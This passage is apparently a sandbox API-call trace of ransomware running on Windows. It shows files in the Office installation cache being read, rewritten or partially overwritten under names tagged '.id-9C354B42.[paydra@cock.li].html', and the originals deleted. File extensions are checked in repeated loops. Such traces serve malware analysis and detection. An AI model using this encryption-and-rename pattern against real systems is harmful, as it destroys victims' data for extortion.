(hObject=0x214) returned 1 [0044.599] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.599] SetEndOfFile (hFile=0x188) returned 1 [0044.607] CloseHandle (hObject=0x188) returned 1 [0044.607] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.607] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0044.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.607] lstrlenW (lpString=".doc") returned 4 [0044.607] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.607] lstrlenW (lpString=".docx") returned 5 [0044.607] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0044.607] lstrlenW (lpString=".pdf") returned 4 [0044.607] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.607] lstrlenW (lpString=".xls") returned 4 [0044.607] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.607] lstrlenW (lpString=".xlsx") returned 5 [0044.607] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0044.607] lstrlenW (lpString=".ppt") returned 4 [0044.607] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.607] lstrlenW (lpString=".zip") returned 4 [0044.608] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.608] lstrlenW (lpString=".rar") returned 4 [0044.608] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.608] lstrlenW (lpString=".bz2") returned 4 [0044.608] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.608] lstrlenW (lpString=".7z") returned 3 [0044.608] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.608] lstrlenW (lpString=".dbf") returned 4 [0044.608] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.608] lstrlenW (lpString=".1cd") returned 4 [0044.608] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.608] lstrlenW (lpString=".jpg") returned 4 [0044.608] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.608] lstrlenW (lpString=".doc") returned 4 [0044.608] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.608] lstrlenW (lpString=".docx") returned 5 [0044.608] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0044.608] lstrlenW (lpString=".pdf") returned 4 [0044.608] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.608] lstrlenW (lpString=".xls") returned 4 [0044.608] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.608] lstrlenW (lpString=".xlsx") returned 5 [0044.608] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0044.608] lstrlenW (lpString=".ppt") returned 4 [0044.608] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.609] lstrlenW (lpString=".zip") returned 4 [0044.609] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.609] lstrlenW (lpString=".rar") returned 4 [0044.609] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.609] lstrlenW (lpString=".bz2") returned 4 [0044.609] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.609] lstrlenW (lpString=".7z") returned 3 [0044.609] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.609] lstrlenW (lpString=".dbf") returned 4 [0044.609] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.609] lstrlenW (lpString=".1cd") returned 4 [0044.609] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0044.609] lstrlenW (lpString=".jpg") returned 4 [0044.609] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.609] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0044.609] lstrlenW (lpString="osetupui.dll") returned 12 [0044.609] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.609] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=191872) returned 1 [0044.610] CloseHandle (hObject=0x188) returned 1 [0044.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0044.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0044.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0044.610] GetLastError () returned 0x0 [0044.610] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0044.818] WriteFile (in: hFile=0x214, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0044.821] ReadFile (in: hFile=0x188, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.821] WriteFile (in: hFile=0x214, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.821] SetEndOfFile (hFile=0x214) returned 1 [0044.821] CloseHandle (hObject=0x214) returned 1 [0044.821] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.821] SetEndOfFile (hFile=0x188) returned 1 [0044.823] CloseHandle (hObject=0x188) returned 1 [0044.823] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0044.823] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0044.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.823] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.823] lstrlenW (lpString=".doc") returned 4 [0044.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.823] lstrlenW (lpString=".docx") returned 5 [0044.823] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0044.823] lstrlenW (lpString=".pdf") returned 4 [0044.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString=".xls") returned 4 [0044.824] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString=".xlsx") returned 5 [0044.824] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0044.824] lstrlenW (lpString=".ppt") returned 4 [0044.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.824] lstrlenW (lpString=".zip") returned 4 [0044.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString=".rar") returned 4 [0044.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString=".bz2") returned 4 [0044.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.824] lstrlenW (lpString=".7z") returned 3 [0044.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.824] lstrlenW (lpString=".dbf") returned 4 [0044.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.824] lstrlenW (lpString=".1cd") returned 4 [0044.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.824] lstrlenW (lpString=".jpg") returned 4 [0044.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.824] lstrlenW (lpString=".doc") returned 4 [0044.824] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0044.824] lstrlenW (lpString=".docx") returned 5 [0044.824] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0044.824] lstrlenW (lpString=".pdf") returned 4 [0044.825] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.825] lstrlenW (lpString=".xls") returned 4 [0044.825] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.825] lstrlenW (lpString=".xlsx") returned 5 [0044.825] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0044.825] lstrlenW (lpString=".ppt") returned 4 [0044.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.825] lstrlenW (lpString=".zip") returned 4 [0044.825] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.825] lstrlenW (lpString=".rar") returned 4 [0044.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.825] lstrlenW (lpString=".bz2") returned 4 [0044.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.825] lstrlenW (lpString=".7z") returned 3 [0044.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.825] lstrlenW (lpString=".dbf") returned 4 [0044.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.825] lstrlenW (lpString=".1cd") returned 4 [0044.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0044.825] lstrlenW (lpString=".jpg") returned 4 [0044.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.825] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0044.825] lstrlenW (lpString="AccLR.cab") returned 9 [0044.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.025] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=28016276) returned 1 [0045.025] CloseHandle (hObject=0x19c) returned 1 [0045.025] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0045.025] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.025] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0045.026] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.026] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.026] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.026] ReadFile (in: hFile=0x19c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.030] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.030] ReadFile (in: hFile=0x19c, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.037] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.037] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.037] ReadFile (in: hFile=0x19c, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.051] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.051] WriteFile (in: hFile=0x19c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0045.250] SetEndOfFile (hFile=0x19c) returned 1 [0045.250] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0045.254] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.255] WriteFile (in: hFile=0x19c, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.508] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.508] WriteFile (in: hFile=0x19c, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.510] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.510] WriteFile (in: hFile=0x19c, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.512] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0045.515] CloseHandle (hObject=0x19c) returned 1 [0045.515] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.516] lstrlenW (lpString=".doc") returned 4 [0045.516] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString=".docx") returned 5 [0045.516] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.516] lstrlenW (lpString=".pdf") returned 4 [0045.516] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString=".xls") returned 4 [0045.516] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString=".xlsx") returned 5 [0045.516] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.516] lstrlenW (lpString=".ppt") returned 4 [0045.516] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.516] lstrlenW (lpString=".zip") returned 4 [0045.516] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString=".rar") returned 4 [0045.516] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString=".bz2") returned 4 [0045.516] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.516] lstrlenW (lpString=".7z") returned 3 [0045.516] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.516] lstrlenW (lpString=".dbf") returned 4 [0045.516] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.516] lstrlenW (lpString=".1cd") returned 4 [0045.516] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.517] lstrlenW (lpString=".jpg") returned 4 [0045.517] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.517] lstrlenW (lpString=".doc") returned 4 [0045.517] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString=".docx") returned 5 [0045.517] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.517] lstrlenW (lpString=".pdf") returned 4 [0045.517] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString=".xls") returned 4 [0045.517] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString=".xlsx") returned 5 [0045.517] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.517] lstrlenW (lpString=".ppt") returned 4 [0045.517] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.517] lstrlenW (lpString=".zip") returned 4 [0045.517] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString=".rar") returned 4 [0045.517] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.517] lstrlenW (lpString=".bz2") returned 4 [0045.517] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.517] lstrlenW (lpString=".7z") returned 3 [0045.517] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.517] lstrlenW (lpString=".dbf") returned 4 [0045.517] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.518] lstrlenW (lpString=".1cd") returned 4 [0045.518] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.518] lstrlenW (lpString=".jpg") returned 4 [0045.518] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.518] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1 [0045.518] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0045.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.518] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=715834) returned 1 [0045.518] CloseHandle (hObject=0x19c) returned 1 [0045.518] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0045.518] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all 